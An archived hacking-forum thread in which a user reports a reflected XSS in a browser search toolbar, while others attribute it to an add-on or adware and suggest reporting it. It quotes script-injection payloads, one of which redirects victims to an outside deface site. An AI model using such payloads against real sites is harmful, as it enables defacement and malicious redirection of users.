Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


FireFox XSS vuln filter_list
Author
Message
FireFox XSS vuln #1
You can see it here, The little toolbar at the top.

http://prntscr.com/3mkjfm

I used this as the code
Code:
"><script>alert("BLUECAT")</script>

Then went a little bit further and added my deface page to it. by using this code

Code:
"><script>window.location="http://www.thedarkcommunity.6te.net/index.php/";</script>

Picture: http://prntscr.com/3mkk8e







Reply

RE: FireFox XSS vuln #2
(05-25-2014, 10:58 PM)BlueCat Wrote: You can see it here, The little toolbar at the top.

http://prntscr.com/3mkjfm

I used this as the code
Code:
"><script>alert("BLUECAT")</script>

Then went a little bit further and added my deface page to it. by using this code

Code:
"><script>window.location="http://www.thedarkcommunity.6te.net/index.php/";</script>

Picture: http://prntscr.com/3mkk8e

I believe the cause of vulnerability is the add-on you're using (that search bar or whatever is that) and not the Firefox itself.
Anyway, you probably should report this to developper team of that add-on.
Fuck You.

Reply

RE: FireFox XSS vuln #3
The problem is not Firefox, this is a non-persistant XSS on whatever search engine that is.

As @RootTheSystem said, you should report that to the developer team of the search engine (which I believe it is).

Reply

RE: FireFox XSS vuln #4
(05-26-2014, 10:55 AM)RootTheSystem Wrote:
(05-25-2014, 10:58 PM)BlueCat Wrote: You can see it here, The little toolbar at the top.

http://prntscr.com/3mkjfm

I used this as the code
Code:
"><script>alert("BLUECAT")</script>

Then went a little bit further and added my deface page to it. by using this code

Code:
"><script>window.location="http://www.thedarkcommunity.6te.net/index.php/";</script>

Picture: http://prntscr.com/3mkk8e

I believe the cause of vulnerability is the add-on you're using (that search bar or whatever is that) and not the Firefox itself.
Anyway, you probably should report this to developper team of that add-on.

I will report it. But I did not install an add on, The search engine comes with firefox when installed







Reply

RE: FireFox XSS vuln #5
You have some adware, from the looks of it. 6te.net is a part of free web hosting area, which has no ads for low traffic sites. You have a banner ad on your deface. Also, I'm pretty sure that's not the default search engine for firefox when installed, I believe it's google. You should check your PC for malware and remove any nasty browser extensions you may have.

Reply

RE: FireFox XSS vuln #6
(06-16-2014, 01:24 PM)Hatemind Wrote: You have some adware, from the looks of it. 6te.net is a part of free web hosting area, which has no ads for low traffic sites. You have a banner ad on your deface. Also, I'm pretty sure that's not the default search engine for firefox when installed, I believe it's google. You should check your PC for malware and remove any nasty browser extensions you may have.

My computer is fine, No malware. It's not google. Trust me. I check my Web browser extensions very often and they're fine.







Reply

RE: FireFox XSS vuln #7
This is pretty old VUL .. Wont work much now indeed the firefox is not updated to the latest version

Reply

RE: FireFox XSS vuln #8
I would be HIGHLY surprised if you'd find any FF install with that search engine as default/comes pre-installed.

Reply

RE: FireFox XSS vuln #9
I would be HIGHLY surprised if you'd find any FF install with that search engine as default/comes pre-installed.

Reply